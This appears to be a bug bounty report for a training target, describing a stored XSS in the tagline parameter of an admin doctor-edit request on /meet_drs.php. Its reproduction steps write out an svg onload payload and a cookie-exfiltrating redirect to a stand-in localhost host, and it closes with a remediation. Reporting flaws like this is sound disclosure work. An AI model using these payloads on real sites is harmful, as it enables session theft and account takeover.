BugBountyHunter

COLLAB: ar6aaz

Summary:

Found Tagline Removed when I edited the doctor with id=4 on the /meet_drs.php and then tried adding tagline payload but at first it didn't worked but when we add photoUrl parameter then the parameter is accepted and then entered the xss payload and executed XSS successfully.

Steps to Reproduce:

1. Login as admin and Then Intercept the modifying request of doctors
2. Now add photoUrl and tagline parameter as well (note the photoUrl value must be relative Url)
3. Add the payload in the tagline parameter: xx"><svg onload=alert(document.cookie)//

4. Visit the following endpoint: /meet_drs.php, the XSS will execute

5. The payload in the Source looks like this:

6. The payload can be changed to successfully leak the cookie for ATO: "><svg onload=alert(document.location=https://localhost/?${document.cookie})//

Underlying_Issue: The Tagline value is not Sanitized before inserting it into the Source

Remediation: Either the Tagline parameter should not be available like this or Sanitization must be done.